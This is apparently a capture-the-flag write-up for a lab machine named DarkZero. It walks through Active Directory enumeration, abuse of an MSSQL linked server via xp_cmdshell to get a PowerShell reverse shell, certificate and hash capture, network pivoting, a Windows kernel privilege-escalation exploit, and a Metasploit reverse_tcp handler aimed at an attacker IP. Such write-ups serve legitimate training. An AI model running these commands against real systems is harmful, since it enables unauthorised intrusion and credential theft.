DarkZero¶

Initial Scan¶

Port scan revealed the following open services:

Discovered open port 22/tcp on 10.10.11.89
Discovered open port 80/tcp on 10.10.11.89

Port 22 is SSH, and port 80 is HTTP.

Enumeration¶

The target is an Active Directory environment (domain: darkzero.htb). Using credentials found during enumeration (john.w / RFulUtONCOL!), we enumerate writable attributes with bloodyAD:

export dc=10.10.11.89
export domain='darkzero.htb'
export username='john.w'
export password='RFulUtONCOL!'

bloodyAD --host $dc -u $username -p $password -d darkzero.htb get writable --detail

The john.w account has write access to msDS-AllowedToActOnBehalfOfOtherIdentity on a target object, which enables Resource-Based Constrained Delegation (RBCD).

Additionally, john.w has access to MSSQL with Windows authentication. Connecting via mssqlclient.py reveals linked servers:

mssqlclient.py "$domain"/"$username":"$password"@"$dc" -windows-auth

SRV_NAME            SRV_PRODUCT   SRV_DATASOURCE
-----------------   -----------   -----------------
DC01                SQL Server    DC01
DC02.darkzero.ext   SQL Server    DC02.darkzero.ext

The linked server DC02.darkzero.ext maps to remote login dc01_sql_svc.

Exploitation¶

Using the linked server on DC02, we enable xp_cmdshell and get a reverse shell as svc_sql:

use_link "DC02.darkzero.ext"
enable_xp_cmdshell
reconfigure
xp_cmdshell "powershell -e <base64 encoded reverse shell>"

This gives us a shell as svc_sql on the DC02.

Lateral Movement¶

Enumerating machine and user certificates on the system reveals a certificate for DC02.darkzero.ext with client authentication enabled and an exportable private key:

Subject     : CN=DC02.darkzero.ext
Issuer      : CN=darkzero-ext-DC02-CA, DC=darkzero, DC=ext
HasPrivateKey : True
KeyExportable : True
Template     : DomainController

Using this certificate, we can authenticate as a domain controller. We also capture the svc_sql NetNTLMv2 hash:

svc_sql::darkzero-ext:1122334455667788:79119806e3adcecea4a2ef50066acafa:01010000...

Pivoting¶

We upload ligolo to the target for network pivoting into internal segments that are not directly reachable from our attack machine.

Privilege Escalation¶

Enumerating local privileges with winPEASx64.exe and CVE-2023-21768_x64.exe, the system is vulnerable to CVE-2024-30088 (Windows kernel local privilege escalation). Running the exploit grants SYSTEM privileges.

Alternatively, Metasploit can be used for staging:

use windows/shell/reverse_tcp
set LHOST 10.10.14.45
set LPORT 4444
exploit -j

Flags¶

user.txt: *** root.txt: ***